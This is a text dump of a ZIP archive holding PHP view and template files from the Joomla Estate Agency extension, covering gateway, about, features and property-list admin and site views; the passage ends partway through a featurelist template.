<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' => 'import', 'view' =>
'console'))?>
<?php echo JLayoutHelper::render('jea.gateways.consoles',
array('action' => 'import')) ?>
</div>PKdx�[g���%%views/gateways/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewGateways
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::_('behavior.multiselect');
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
if ($listOrder == 'ordering')
{
$saveOrderingUrl =
'index.php?option=com_jea&task=gateways.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'gateways-list',
'adminForm', strtolower($listDirection), $saveOrderingUrl);
}
$script = <<<JS
jQuery(document).ready(function($) {
$('.show-logs').click( function(e) {
$('#modal').data('gatewayId',
$(this).data('gatewayId'));
e.preventDefault();
});
$('#modal').modal({show: false}).on('shown.bs.modal',
function(e) {
var gatewayId = $(this).data('gatewayId');
$.get('index.php', {option : 'com_jea', task
:'gateway.getLogs', id: gatewayId}, function(response) {
$('#logs').text(response);
});
$(this).find('a').each(function() {
this.href = this.href.replace(/id=[0-9]*/, 'id=' + gatewayId);
});
$('.ajax-refresh-logs').click( function(e) {
$.get( this.href, {}, function(response) {
$('#logs').text(response);
});
e.preventDefault();
});
}).on('hide.bs.modal', function () {
$('#logs').empty();
});
});
JS;
$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar ?>
</div>
<div id="j-main-container" class="span10">
<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' =>
$this->state->get('filter.type'), 'view' =>
'gateways'), JPATH_COMPONENT_ADMINISTRATOR )?>
<hr />
<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways')
?>" method="post" name="adminForm"
id="adminForm">
<table class="table table-striped"
id="gateways-list">
<thead>
<tr>
<th width="1%" class="nowrap center">
<?php echo JHtml::_('grid.sort', '',
'ordering', $listDirection, $listOrder, null, 'asc',
'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
</th>
<th width="1%" class="nowrap">
<?php echo JHtml::_('grid.checkall') ?>
</th>
<th width="1%" class="nowrap">
<?php echo JHtml::_('grid.sort', 'JSTATUS',
'published', $listDirection , $listOrder ) ?>
</th>
<th width="86%" class="nowrap">
<?php echo JHtml::_('grid.sort',
'JGLOBAL_TITLE', 'title', $listDirection , $listOrder )
?>
</th>
<th width="5%" class="nowrap center">
<?php echo JText::_('COM_JEA_LOGS') ?>
</th>
<th width="5%" class="nowrap center">
<?php echo JHtml::_('grid.sort',
'COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL', 'provider',
$listDirection , $listOrder ) ?>
</th>
<th width="1%" class="nowrap hidden-phone">
<?php echo JHtml::_('grid.sort',
'JGRID_HEADING_ID', 'id', $listDirection, $listOrder);
?>
</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="12"></td>
</tr>
</tfoot>
<tbody>
<?php foreach ($this->items as $i => $item) : ?>
<tr class="row<?php echo $i % 2 ?>">
<td width="1%" class="order nowrap center
hidden-phone">
<?php
$iconClass = '';
if ($listOrder != 'ordering') $iconClass = ' inactive
tip-top hasTooltip" title="' .
JHtml::tooltipText('JORDERINGDISABLED');
?>
<span class="sortable-handler<?php echo $iconClass
?>"><span
class="icon-menu"></span></span>
<?php if ($listOrder == 'ordering') : ?>
<input type="text" style="display:none"
name="order[]" size="5" value="<?php echo
$item->ordering ?>" class="width-20 text-area-order "
/>
<?php endif ?>
</td>
<td class="nowrap center">
<?php echo JHtml::_('grid.id', $i, $item->id) ?>
</td>
<td width="1%" class="nowrap center">
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'gateways.', true, 'cb') ?>
</td>
<td width="86%" class="title">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.edit&type='.
$this->state->get('filter.type')
.'&id='.(int) $item->id) ?>">
<?php echo $item->title ?></a>
</td>
<td width="5%" class="nowrap center">
<button class="btn btn-info show-logs"
data-toggle="modal" data-target="#modal"
data-gateway-id="<?php echo $item->id ?>">
<?php echo JText::_('COM_JEA_LOGS') ?>
</button>
</td>
<td width="5%" class="nowrap center">
<?php echo $item->provider ?>
</td>
<td class="hidden-phone">
<?php echo (int) $item->id ?>
</td>
</tr>
<?php endforeach ?>
</tbody>
</table>
<?php echo $this->pagination->getListFooter() ?>
<div>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="type"
value="<?php echo
$this->state->get('filter.type')?>" />
<input type="hidden" name="boxchecked"
value="0" />
<input type="hidden" name="filter_order"
value="<?php echo $listOrder ?>" />
<input type="hidden" name="filter_order_Dir"
value="<?php echo $listDirection ?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
</div>
<?php ob_start()?>
<p>
<a class="ajax-refresh-logs" href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.getLogs&id=')
?>">
<?php echo JText::_('JGLOBAL_HELPREFRESH_BUTTON') ?>
</a> |
<a class="ajax-refresh-logs" href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.deleteLogs&id=')
?>" id="delete_logs">
<?php echo JText::_('JACTION_DELETE') ?>
</a> |
<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=gateway.downloadLogs&id=')
?>" id="download_logs">
<?php echo JText::_('COM_JEA_DOWNLOAD') ?>
</a>
</p>
<pre id="logs"></pre>
<?php
$modalBody = ob_get_contents();
ob_end_clean();
echo JHtml::_('bootstrap.renderModal', 'modal',
array('title' => JText::_('COM_JEA_LOGS')),
$modalBody);
?>
PKdx�[jOn
views/gateways/tmpl/export.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewGateways
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar?>
</div>
<div id="j-main-container" class="span10">
<?php echo JLayoutHelper::render('jea.gateways.nav',
array('action' => 'export', 'view' =>
'console')) ?>
<?php echo JLayoutHelper::render('jea.gateways.consoles',
array('action' => 'export')) ?>
</div>PKdx�[�L珥�views/gateways/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Gateways View
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewGateways extends JViewLegacy
{
/**
* The user object
*
* @var JUser
*/
protected $user;
/**
* Array of database records
*
* @var Jobject[]
*/
protected $items;
/**
* The pagination object
*
* @var JPagination
*/
protected $pagination;
/**
* The model state
*
* @var Jobject
*/
protected $state;
/**
* The sidebar output
*
* @var string
*/
protected $sidebar = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JeaHelper::addSubmenu('tools');
$this->state = $this->get('State');
$this->sidebar = JHtmlSidebar::render();
$title = JText::_('COM_JEA_GATEWAYS');
switch ($this->_layout)
{
case 'export':
$title = JText::_('COM_JEA_EXPORT');
JToolBarHelper::back('JTOOLBAR_BACK',
'index.php?option=com_jea&view=tools');
break;
case 'import':
$title = JText::_('COM_JEA_IMPORT');
JToolBarHelper::back('JTOOLBAR_BACK',
'index.php?option=com_jea&view=tools');
break;
default:
$this->user = JFactory::getUser();
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
JToolBarHelper::addNew('gateway.add');
JToolBarHelper::editList('gateway.edit');
JToolBarHelper::publish('gateways.publish',
'JTOOLBAR_PUBLISH', true);
JToolBarHelper::unpublish('gateways.unpublish',
'JTOOLBAR_UNPUBLISH', true);
JToolBarHelper::deleteList(JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE'),
'gateways.delete');
}
JToolBarHelper::title($title, 'jea');
parent::display($tpl);
}
}
PKdx�[D7�z��views/about/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewAbout
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<?php if (!empty($this->sidebar)) : ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<?php endif ?>
<div id="j-main-container" class="span10">
<?php echo JHtml::_('bootstrap.startTabSet',
'aboutTab', array('active' => 'pan1'))
?>
<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan1', JText::_('COM_JEA_ABOUT')) ?>
<div class="row-fluid">
<div class="span2">
<img src="../media/com_jea/images/logo.png"
alt="logo.png" />
</div>
<div class="span10">
<p>
<strong>Joomla Estate Agency <?php echo $this->getVersion()
?> </strong>
</p>
<p>
<a href="http://jea.sphilip.com/"
target="_blank"><?php echo
JText::_('COM_JEA_PROJECT_HOME') ?></a>
</p>
<p>
<a href="http://jea.sphilip.com/forum/"
target="_blank"><?php echo
JText::_('COM_JEA_FORUM') ?></a>
</p>
<p>
<a
href="https://github.com/JoomlaEstateAgency/com_jea/wiki/"
target="_blank"><?php echo
JText::_('COM_JEA_DOCUMENTATION') ?></a>
</p>
<p>
<?php echo JText::_('COM_JEA_MAIN_DEVELOPER') ?> :
<a href="http://www.sphilip.com"
target="_blank">Sylvain Philip</a><br />
<?php echo JText::_('COM_JEA_CREDITS') ?> : <a
href="https://twitter.com/#!/phproberto"
target="_blank">Roberto Segura</a>
</p>
</div>
</div>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan2', JText::_('COM_JEA_LICENCE')) ?>
<pre>
<?php require JPATH_COMPONENT . '/LICENCE.txt' ?>
</pre>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php echo JHtml::_('bootstrap.addTab', 'aboutTab',
'pan3', JText::_('COM_JEA_VERSIONS')) ?>
<pre>
<?php require JPATH_COMPONENT . '/NEWS.txt' ?>
</pre>
<?php echo JHtml::_('bootstrap.endTab') ?>
<?php echo JHtml::_('bootstrap.endTabSet') ?>
</div>
PKdx�[��<nnviews/about/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* JEA about view.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewAbout extends JViewLegacy
{
/**
* The sidebar output
*
* @var string
*/
protected $sidebar = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JeaHelper::addSubmenu('about');
JToolbarHelper::title('Joomla Estate Agency', 'jea');
$canDo = JeaHelper::getActions();
if ($canDo->get('core.admin'))
{
JToolBarHelper::preferences('com_jea');
}
$this->sidebar = JHtmlSidebar::render();
parent::display($tpl);
}
/**
* Get version of JEA
*
* @return string
*/
protected function getVersion()
{
if (is_file(JPATH_COMPONENT . '/jea.xml'))
{
$xml = simplexml_load_file(JPATH_COMPONENT . '/jea.xml');
return $xml->version;
}
return '';
}
}
PKdx�[/vo��views/features/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewFeatures
*/
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
JHtml::_('behavior.multiselect');
$count = 0;
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')
?>" method="post" name="adminForm"
id="adminForm" enctype="multipart/form-data">
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<table class="table table-striped">
<thead>
<tr>
<th width="1%" class="center">
<?php echo JHtml::_('grid.checkall') ?>
</th>
<th width="60%">
<?php echo
JText::_('COM_JEA_HEADING_FEATURES_LIST_NAME') ?>
</th>
<th width="39%" class="center">
<?php echo
JText::_('COM_JEA_HEADING_FEATURES_IMPORT_CSV') ?>
</th>
</tr>
</thead>
<tbody>
<?php foreach ($this->items as $i => $item) : $count++ ?>
<tr class="row<?php echo $count % 2 ?>">
<td>
<?php echo JHtml::_('grid.id', $i, $item->name) ?>
</td>
<td>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=featurelist&feature='.$item->name)
?>">
<?php echo
JText::_(JString::strtoupper("com_jea_list_of_{$item->name}_title"))
?>
</a>
</td>
<td class="center">
<input type="file" name="csv[<?php echo
$item->name ?>]" value="" size="20" />
</td>
</tr>
<?php endforeach ?>
</tbody>
</table>
<div>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="boxchecked"
value="0" />
<?php echo JHtml::_('form.token') ?>
</div>
</div>
</form>
PKdx�[[�J���views/features/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* View to manage all features tables.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewFeatures extends JViewLegacy
{
/**
* Array of managed features
*
* @var stdClass[]
*/
protected $items;
/**
* The model state
*
* @var Jobject
*/
protected $state;
/**
* The sidebar output
*
* @var string
*/
protected $sidebar = '';
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
$this->items = $this->get('Items');
$this->state = $this->get('State');
JeaHelper::addSubmenu('features');
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*/
protected function addToolbar()
{
$canDo = JeaHelper::getActions();
JToolBarHelper::title(JText::_('COM_JEA_FEATURES_MANAGEMENT'),
'jea');
if ($canDo->get('core.manage'))
{
JToolBarHelper::custom('features.import',
'database', '', 'Import', false);
}
JToolBarHelper::custom('features.export', 'download',
'', 'Export', false);
if ($canDo->get('core.admin'))
{
JToolBarHelper::divider();
JToolBarHelper::preferences('com_jea');
}
}
}
PKdx�[�y�v��views/feature/tmpl/edit.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewFeature
*/
$app = JFactory::getApplication();
JHtml::_('formbehavior.chosen', 'select');
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&layout=edit&id='.(int)
$this->item->id) ?>"
method="post" name="adminForm"
id="adminForm" class="form-validate">
<div class="form-horizontal">
<?php foreach ($this->form->getFieldset('feature') as
$field): ?>
<?php echo $field->renderField() ?>
<?php endforeach ?>
</div>
<div>
<input type="hidden" name="task"
value="" />
<input type="hidden" name="feature"
value="<?php echo
$this->state->get('feature.name')?>" />
<input type="hidden" name="return"
value="<?php echo $app->input->getCmd('return')
?>" />
<?php echo JHtml::_('form.token') ?>
</div>
</form>
PKdx�[zӓviews/feature/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* View to edit a feature.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewFeature extends JViewLegacy
{
/**
* The form object
*
* @var JForm
*/
protected $form;
/**
* The database record
*
* @var JObject|boolean
*/
protected $item;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
$this->form = $this->get('Form');
$this->item = $this->get('Item');
$this->state = $this->get('State');
$this->addToolbar();
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*/
protected function addToolbar()
{
JFactory::getApplication()->input->set('hidemainmenu',
true);
$canDo = JeaHelper::getActions();
$title = $this->item->id ? JText::_('JACTION_EDIT') .
' ' . $this->escape($this->item->value) :
JText::_('JACTION_CREATE');
JToolBarHelper::title($title, 'jea');
// For new records, check the create permission.
if ($canDo->get('core.create'))
{
JToolBarHelper::apply('feature.apply');
JToolBarHelper::save('feature.save');
JToolBarHelper::save2new('feature.save2new');
}
JToolBarHelper::cancel('feature.cancel');
}
}
PKdx�[��l��!views/properties/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$script = <<<EOB
function changeOrdering( order, direction )
{
var form = document.getElementById('jForm');
form.filter_order.value = order;
form.filter_order_Dir.value = direction;
form.submit();
}
EOB;
$this->document->addScriptDeclaration($script);
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
?>
<div class="jea-properties<?php echo
$this->escape($this->params->get('pageclass_sfx'))
?>">
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<?php if ($this->state->get('searchcontext') === true):
?>
<div class="search_parameters">
<h2><?php echo
JText::_('COM_JEA_SEARCH_PARAMETERS_TITLE') ?> :</h2>
<?php echo $this->loadTemplate('remind') ?>
</div>
<?php endif ?>
<?php if (!empty($this->items)): ?>
<form action="<?php echo
htmlspecialchars(JFactory::getURI()->toString()) ?>"
id="jForm" method="post">
<p class="sort-options">
<?php echo implode(' | ', $this->sort_links) ?>
</p>
<p class="limitbox">
<em><?php echo JText::_('COM_JEA_RESULTS_PER_PAGE')
?> : </em>
<?php echo $this->pagination->getLimitBox() ?>
</p>
<div class="jea-items">
<?php foreach ($this->items as $row): ?>
<?php $row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id ?>
<dl class="jea_item">
<dt class="title">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>"><strong>
<?php if(empty($row->title)): ?>
<?php echo ucfirst(
JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($row->type), $this->escape($row->town) ) ) ?>
<?php else : echo $this->escape($row->title) ?>
<?php endif ?></strong> ( <?php echo
JText::_('COM_JEA_REF' ) . ' : ' . $row->ref ?>)
</a>
<?php if ( $this->params->get('show_creation_date',
0)): ?>
<span class="date"><?php echo
JHtml::_('date', $row->created,
JText::_('DATE_FORMAT_LC3')) ?></span>
<?php endif ?>
</dt>
<?php if ($imgUrl = $this->getFirstImageUrl($row)): ?>
<dt class="image">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>">
<img src="<?php echo $imgUrl ?>"
alt="<?php echo JText::_('COM_JEA_DETAIL') ?>"
/>
</a>
</dt>
<?php endif ?>
<dd>
<?php if ($row->slogan): ?>
<span class="slogan"><?php echo
$this->escape($row->slogan) ?> </span>
<?php endif ?>
<?php echo $row->transaction_type == 'RENTING' ?
JText::_('COM_JEA_FIELD_PRICE_RENT_LABEL') :
JText::_('COM_JEA_FIELD_PRICE_LABEL') ?> :
<strong> <?php echo JHtml::_('utility.formatPrice',
(float) $row->price , JText::_('COM_JEA_CONSULT_US') ) ?>
</strong>
<?php if ($row->transaction_type == 'RENTING'
&& (float)$row->price != 0.0) echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'. $row->rate_frequency)
?>
<?php if (!empty($row->living_space)): ?>
<br /><?php echo
JText::_('COM_JEA_FIELD_LIVING_SPACE_LABEL') ?> :
<strong><?php echo
JHtml::_('utility.formatSurface', (float) $row->living_space ,
'-' ) ?></strong>
<?php endif ?>
<?php if (!empty($row->land_space)): ?>
<br /><?php echo
JText::_('COM_JEA_FIELD_LAND_SPACE_LABEL') ?> :
<strong><?php echo
JHtml::_('utility.formatSurface', (float) $row->land_space ,
'-' ) ?></strong>
<?php endif ?>
<?php if (!empty($row->amenities)) : ?>
<br /> <strong><?php echo
JText::_('COM_JEA_AMENITIES') ?> :</strong>
<?php echo JHtml::_('amenities.bindList',
$row->amenities) ?>
<?php endif ?>
<br />
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=property&id='.
$row->slug) ?>"
title="<?php echo JText::_('COM_JEA_DETAIL')
?>">
<?php echo JText::_('COM_JEA_DETAIL') ?></a>
</dd>
</dl>
<?php endforeach ?>
</div>
<div>
<input type="hidden" id="filter_order"
name="filter_order" value="<?php echo $listOrder
?>" />
<input type="hidden" id="filter_order_Dir"
name="filter_order_Dir" value="<?php echo $listDirection
?>" />
</div>
<div class="pagination">
<p class="counter"><?php echo
$this->pagination->getPagesCounter() ?></p>
<?php echo $this->pagination->getPagesLinks() ?>
</div>
</form>
<?php elseif ($this->state->get('searchcontext') ===
true) : ?>
<hr />
<h2><?php echo
JText::_('COM_JEA_SEARCH_NO_MATCH_FOUND') ?></h2>
<p>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=properties&layout=search')
?>">
<?php echo JText::_('COM_JEA_MODIFY_SEARCH')?>
</a>
</p>
<?php endif ?>
</div>
PKdx�[�B�views/properties/view.html.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/tables/features.php';
/**
* Property list view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperties extends JViewLegacy
{
/**
* The component parameters
*
* @var Joomla\Registry\Registry
*/
protected $params;
/**
* The model state
*
* @var JObject
*/
protected $state;
/**
* Array of database records
*
* @var Jobject[]
*/
protected $items;
/**
* The pagination object
*
* @var JPagination
*/
protected $pagination;
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
JHtml::stylesheet('com_jea/jea.css', array('relative'
=> true));
$state = $this->get('State');
$this->params = $state->params;
$this->state = $state;
$layout = $this->getLayout();
if ($layout == 'default' || $layout == 'manage')
{
if ($layout == 'manage')
{
$this->items = $this->get('MyItems');
}
else
{
$this->items = $this->get('Items');
}
$this->pagination = $this->get('Pagination');
}
if ($layout == 'default')
{
$this->prepareSortLinks();
// Add alternate feed link
if ($this->params->get('show_feed_link', 1) == 1)
{
$link =
'index.php?option=com_jea&view=properties&format=feed&limitstart=';
$attribs = array('type' =>
'application/rss+xml', 'title' => 'RSS
2.0');
$this->document->addHeadLink(JRoute::_($link .
'&type=rss'), 'alternate', 'rel',
$attribs);
$attribs = array('type' =>
'application/atom+xml', 'title' => 'Atom
1.0');
$this->document->addHeadLink(JRoute::_($link .
'&type=atom'), 'alternate', 'rel',
$attribs);
}
}
parent::display($tpl);
}
/**
* Prepare sort links
*
* @return void
*/
protected function prepareSortLinks()
{
$sort_links = array();
$order = $this->state->get('list.ordering');
$direction = $this->state->get('list.direction');
if ($this->params->get('sort_date'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_DATE',
'p.created', $direction, $order);
}
if ($this->params->get('sort_price'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_PRICE',
'p.price', $direction, $order);
}
if ($this->params->get('sort_livingspace'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_LIVING_SPACE',
'p.living_space', $direction, $order);
}
if ($this->params->get('sort_landspace'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_LAND_SPACE',
'p.land_space', $direction, $order);
}
if ($this->params->get('sort_hits'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_POPULARITY',
'p.hits', $direction, $order);
}
if ($this->params->get('sort_towns'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_TOWN',
'town', $direction, $order);
}
if ($this->params->get('sort_departements'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_DEPARTMENT',
'department', $direction, $order);
}
if ($this->params->get('sort_areas'))
{
$sort_links[] = $this->sort('COM_JEA_SORT_BY_AREA',
'area', $direction, $order);
}
$this->sort_links = $sort_links;
}
/**
* Displays a sort link
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param string $selected The selected ordering
*
* @return string The HTML link
*/
protected function sort($title, $order, $direction = 'asc',
$selected = 0)
{
$direction = strtolower($direction);
$images = array('sort_asc.png', 'sort_desc.png');
$index = intval($direction == 'desc');
$direction = ($direction == 'desc') ? 'asc' :
'desc';
$html = '<a href="javascript:changeOrdering(\'' .
$order . '\',\'' . $direction . '\');"
>';
$html .= JText::_($title);
if ($order == $selected)
{
$html .= '<img src="' . $this->baseurl .
'/media/com_jea/images/' . $images[$index] . '"
alt="" />';
}
$html .= '</a>';
return $html;
}
/**
* Get the first image url in the row
*
* @param object $row A property row object
*
* @return string
*/
protected function getFirstImageUrl(&$row)
{
$images = json_decode($row->images);
$image = null;
if (! empty($images) && is_array($images))
{
$image = array_shift($images);
$imagePath = JPATH_ROOT . '/images/com_jea';
if (file_exists($imagePath . '/thumb-min/' . $row->id .
'-' . $image->name))
{
// If the thumbnail already exists, display it directly
return $this->baseurl . '/images/com_jea/thumb-min/' .
$row->id . '-' . $image->name;
}
elseif (file_exists($imagePath . '/images/' . $row->id .
'/' . $image->name))
{
// If the thumbnail doesn't exist, generate it and output it on
the fly
$url =
'index.php?option=com_jea&task=thumbnail.create&size=min&id='
. $row->id . '&image=' . $image->name;
return JRoute::_($url);
}
}
return '';
}
/**
* Get a feature value
*
* @param number $featureId The feature ID
* @param string $featureTable The feature Table name
*
* @return string
*/
protected function getFeatureValue($featureId = 0, $featureTable =
'')
{
// TODO: Refactor this. Use cache?
$db = JFactory::getDbo();
$table = new FeaturesFactory('#__jea_' .
$db->escape($featureTable), 'id', $db);
$table->load((int) $featureId);
return $table->value;
}
}
PKdx�[Fx�9��"views/featurelist/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var $this JeaViewFeaturelist
*/
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'f.ordering';
if ($saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_jea&task=featurelist.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'featureList',
'adminForm', strtolower($listDirection), $saveOrderingUrl);
}
JHtml::stylesheet('media/com_jea/css/jea.admin.css');
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&view=featurelist')
?>" method="post" name="adminForm"
id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar ?>
</div>
<?php endif ?>
<div id="j-main-container" class="span10">
<?php echo
JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this)) ?>
